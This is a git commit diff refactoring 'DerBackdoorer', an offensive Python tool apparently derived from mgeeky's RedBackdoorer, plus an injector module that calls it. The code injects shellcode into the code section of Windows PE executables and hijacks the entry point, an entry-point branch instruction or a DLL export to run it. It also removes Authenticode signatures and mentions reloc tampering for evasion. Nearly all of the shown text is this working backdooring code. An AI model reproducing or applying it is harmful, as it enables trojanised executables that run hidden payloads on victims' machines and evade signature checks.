refactor: cleanup 2

This commit is contained in:
Dobin
2024-03-01 13:33:01 +00:00
parent 78027916e2
commit 112964c11c
2 changed files with 52 additions and 237 deletions
+21 -183
View File
@@ -1,24 +1,10 @@
#!/usr/bin/python3 #!/usr/bin/python3
# #
# Based on: # Based on the original RedBackdoorer by Mariusz Banach
# Author:
# Mariusz Banach / mgeeky '22-'23, (@mariuszbit)
# <mb@binary-offensive.com>
#
# Requirements:
# - pefile
# - capstone
# - keystone
# #
import os, re, sys
import string
import shutil
import random import random
import tempfile
import argparse
import textwrap import textwrap
import struct
import pefile import pefile
import capstone import capstone
import keystone import keystone
@@ -32,104 +18,24 @@ logger = logging.getLogger("DerBackdoorer")
class PeBackdoor: class PeBackdoor:
class SupportedSaveModes(IntEnum):
WithinCodeSection = 1
NewPESection = 2
class SupportedRunModes(IntEnum): class SupportedRunModes(IntEnum):
ModifyOEP = 1 ModifyOEP = 1
BackdoorEP = 2 BackdoorEP = 2
HijackExport = 4 HijackExport = 4
availableSaveModes = {
SupportedSaveModes.WithinCodeSection: 'store shellcode in the middle of code section',
SupportedSaveModes.NewPESection: 'append shellcode to the PE file in a new PE section',
}
availableRunModes = { def __init__(self, mype: MyPe, main_shc, inject_mode):
SupportedRunModes.ModifyOEP: 'change AddressOfEntryPoint', self.mype: MyPe = mype
SupportedRunModes.BackdoorEP: 'modify first branching instruction from Original Entry Point', self.runMode = inject_mode
} self.shellcodeData = main_shc
def __init__(self, mype): # Working
self.mype = mype self.shellcodeOffset: int = 0 # from start of the file
self.shellcodeOffset = 0 # from start of the file self.shellcodeOffsetRel: int = 0 # from start of the code section
self.shellcodeOffsetRel = 0 # from start of the code section self.backdoorOffsetRel: int = 0 # from start of the code section
self.backdoorOffsetRel = 0 # from start of the code section
self.saveMode = PeBackdoor.SupportedSaveModes.WithinCodeSection # always
def backdoor(self, saveMode, runMode, shellcode, infile, outfile):
self.saveMode = saveMode
self.runMode = runMode
self.shellcode = shellcode
self.infile = infile
self.outfile = outfile
try:
PeBackdoor.SupportedSaveModes(saveMode)
except:
logger.critical(f'Unsupported save mode specified. Please see help message for a list of available save,run modes.')
try:
PeBackdoor.SupportedRunModes(runMode)
except:
logger.critical(f'Unsupported run mode specified. Please see help message for a list of available save,run modes.')
try:
with open(self.shellcode, 'rb') as f:
self.shellcodeData = f.read()
#if len(self.options['ioc']) > 0:
# self.shellcodeData += b'\x00\x00\x00\x00' + self.options['ioc'].encode() + b'\x00\x00\x00\x00'
self.mype = MyPe()
self.mype.openFile(self.infile)
if not self.injectShellcode():
logger.error('Could not inject shellcode into PE file!')
return False
if not self.setupShellcodeEntryPoint():
logger.error('Could not setup shellcode launch within PE file!')
return False
remainingRelocsSize = self.mype.getRemainingRelocsDirectorySize()
numOfRelocs = int((remainingRelocsSize - 8) / 2)
logger.debug(f'Still can add up to {numOfRelocs} relocs tampering with shellcode for evasion purposes.')
#if self.options['remove_signature']:
# self.removeSignature()
logger.debug('Saving modified PE file...')
self.mype.write(self.outfile)
return True
except pefile.PEFormatError:
self.logger.warn('Input file is not a valid PE file.')
return False
except Exception as e:
raise
finally:
self.mype.pe.close()
def removeSignature(self):
addr = self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress
size = self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size
self.mype.pe.set_bytes_at_rva(addr, b'\x00' * size)
self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
logger.info('PE executable Authenticode signature removed.')
return True
def injectShellcode(self): def injectShellcode(self):
if self.saveMode == int(PeBackdoor.SupportedSaveModes.WithinCodeSection):
sect = self.mype.get_code_section() sect = self.mype.get_code_section()
if sect == None: if sect == None:
logger.error('Could not find code section in input PE file!') logger.error('Could not find code section in input PE file!')
@@ -190,6 +96,7 @@ Trailing {sect_name} bytes:
return False return False
def getExportEntryPoint(self): def getExportEntryPoint(self):
dec = lambda x: '???' if x is None else x.decode() dec = lambda x: '???' if x is None else x.decode()
@@ -217,6 +124,7 @@ Trailing {sect_name} bytes:
return -1 return -1
def backdoorEntryPoint(self, addr = -1): def backdoorEntryPoint(self, addr = -1):
imageBase = self.mype.pe.OPTIONAL_HEADER.ImageBase imageBase = self.mype.pe.OPTIONAL_HEADER.ImageBase
self.shellcodeAddr = self.mype.pe.get_rva_from_offset(self.shellcodeOffset) + imageBase self.shellcodeAddr = self.mype.pe.get_rva_from_offset(self.shellcodeOffset) + imageBase
@@ -269,6 +177,7 @@ Trailing {sect_name} bytes:
return output return output
def getBackdoorTrampoline(self, cs, ks, instr): def getBackdoorTrampoline(self, cs, ks, instr):
trampoline = '' trampoline = ''
addrOffset = -1 addrOffset = -1
@@ -316,6 +225,7 @@ Trailing {sect_name} bytes:
return (trampoline, addrOffset) return (trampoline, addrOffset)
def backdoorInstruction(self, cs, ks, disasmData, startOffset, instr, operand, depth): def backdoorInstruction(self, cs, ks, disasmData, startOffset, instr, operand, depth):
encoding = b'' encoding = b''
count = 0 count = 0
@@ -346,86 +256,14 @@ Trailing {sect_name} bytes:
return 0 return 0
def opts(argv): def removeSignature(self):
epilog = ''' addr = self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress
<runmode> size = self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size
1 - change AddressOfEntryPoint
2 - hijack branching instruction at Original Entry Point (jmp, call, ...)
(4 - hijack branching instruction at DLL Exported function (use -e to specify export to hook))
'''
o = argparse.ArgumentParser( self.mype.pe.set_bytes_at_rva(addr, b'\x00' * size)
usage = 'RedBackdoorer.py [options] <mode> <shellcode> <infile>',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog = textwrap.dedent(epilog)
)
req = o.add_argument_group('Required arguments') self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
req.add_argument('runmode', help = 'PE Injection mode, see help epilog for more details.') self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
req.add_argument('shellcode', help = 'Input shellcode file')
req.add_argument('infile', help = 'PE file to backdoor')
opt = o.add_argument_group('Optional arguments') logger.info('PE executable Authenticode signature removed.')
opt.add_argument('-o', '--outfile', metavar='PATH', default='', help = 'Path where to save backdoored output file. If not given, will modify infile.') return True
opt.add_argument('-v', '--verbose', action='store_true', help = 'Verbose mode.')
bak = o.add_argument_group('Backdooring options')
#bak.add_argument('-n', '--section-name', metavar='NAME', default=DefaultSectionName,
# help = 'If shellcode is to be injected into a new PE section, define that section name. Section name must not be longer than 7 characters. Default: ' + DefaultSectionName)
bak.add_argument('-i', '--ioc', metavar='IOC', default='', help = 'Append IOC watermark to injected shellcode to facilitate implant tracking.')
bak.add_argument('-e', '--export', metavar='NAME', default='', help = 'When backdooring DLLs, this specifies name of the exported function to hijack.')
sign = o.add_argument_group('Authenticode signature options')
sign.add_argument('-r', '--remove-signature', action='store_true', help = 'Remove PE Authenticode digital signature since its going to be invalidated anyway.')
args = o.parse_args()
return args
def main(argv):
print("DerBackdoorer")
print(" based on RedBackdoorer.py, by mgeeky")
args = opts(argv)
if not args:
return False
outfile = ''
temp = None
if len(args.outfile) > 0:
outfile = args.outfile
else:
temp = tempfile.NamedTemporaryFile(delete=False)
shutil.copy(args.infile, temp.name)
outfile = temp.name
logger.debug(f'Outfile is a temporary file: {outfile}')
saveMode = 1 # always
try:
runMode = int(args.runmode)
except:
logger.critical(f'<mode> Most be int')
peinj = PeBackdoor()
result = peinj.backdoor(saveMode, runMode, args.shellcode, args.infile, outfile)
ret = 0
if result :
if len(args.outfile) > 0:
logger.info(f'Backdoored PE file saved to: {args.outfile}')
else:
shutil.copy(outfile, args.infile)
logger.info(f'Backdoored PE file in place.')
else:
ret = 1
logger.critical('Could not backdoor input PE file!')
if temp:
logger.debug('Removing temporary file...')
temp.close()
os.unlink(temp.name)
exit(ret)
if __name__ == '__main__':
main(sys.argv)
+8 -31
View File
@@ -10,7 +10,6 @@ from model.carrier import Carrier, DataReuseEntry
from peparser.pehelper import * from peparser.pehelper import *
from model.exehost import * from model.exehost import *
from observer import observer from observer import observer
from helper import rbrunmode_str
from derbackdoorer.derbackdoorer import PeBackdoor from derbackdoorer.derbackdoorer import PeBackdoor
from derbackdoorer.mype import MyPe from derbackdoorer.mype import MyPe
from model.project import Project from model.project import Project
@@ -20,12 +19,6 @@ logger = logging.getLogger("Injector")
def inject_exe( def inject_exe(
# shellcode_in: FilePath,
# exe_in: FilePath,
# exe_out: FilePath,
# inject_mode: int,
# source_style: SourceStyle
main_shc_file: FilePath, main_shc_file: FilePath,
settings: Settings, settings: Settings,
project: Project, project: Project,
@@ -36,6 +29,12 @@ def inject_exe(
inject_mode = settings.inject_mode inject_mode = settings.inject_mode
source_style = settings.source_style source_style = settings.source_style
logger.info("--[ Injecting: {} into: {} -> {} (mode: {})".format(
shellcode_in, exe_in, exe_out, inject_mode
))
# Read prepared loader shellcode
# And check if it fits into the target code section
main_shc = file_readall_binary(main_shc_file) main_shc = file_readall_binary(main_shc_file)
l = len(main_shc) l = len(main_shc)
if l + 128 > project.exe_host.code_size: if l + 128 > project.exe_host.code_size:
@@ -44,21 +43,10 @@ def inject_exe(
)) ))
return False return False
logger.info("--[ Injecting: {} into: {} -> {} (mode: {})".format( # MyPe is a representation of the exe file. We gonna modify it, and save it at the end.
shellcode_in, exe_in, exe_out, inject_mode
))
#logger.warn("---[ Inject mode: {}".format(rbrunmode_str(inject_mode)))
# create copy of file exe_in to exe_out
#shutil.copyfile(exe_in, exe_out)
# MyPe is a representation of the exe file
# We gonna modify it, and store it at the end
mype = MyPe() mype = MyPe()
mype.openFile(exe_in) mype.openFile(exe_in)
peinj = PeBackdoor(mype) peinj = PeBackdoor(mype, main_shc, inject_mode)
peinj.runMode = settings.inject_mode
peinj.shellcodeData = main_shc # project.payload.payload_data
if not peinj.injectShellcode(): if not peinj.injectShellcode():
logger.error('Could not inject shellcode into PE file!') logger.error('Could not inject shellcode into PE file!')
@@ -76,17 +64,6 @@ def inject_exe(
mype.write(exe_out) mype.write(exe_out)
#result = peinj.backdoor(
# 1, # always overwrite .text section
# inject_mode,
# shellcode_in,
# exe_in,
# exe_out
#)
#if not result:
# logging.error("Error: Redbackdoorer failed")
# raise Exception("Redbackdoorer failed")
# verify and log # verify and log
shellcode = file_readall_binary(shellcode_in) shellcode = file_readall_binary(shellcode_in)
shellcode_len = len(shellcode) shellcode_len = len(shellcode)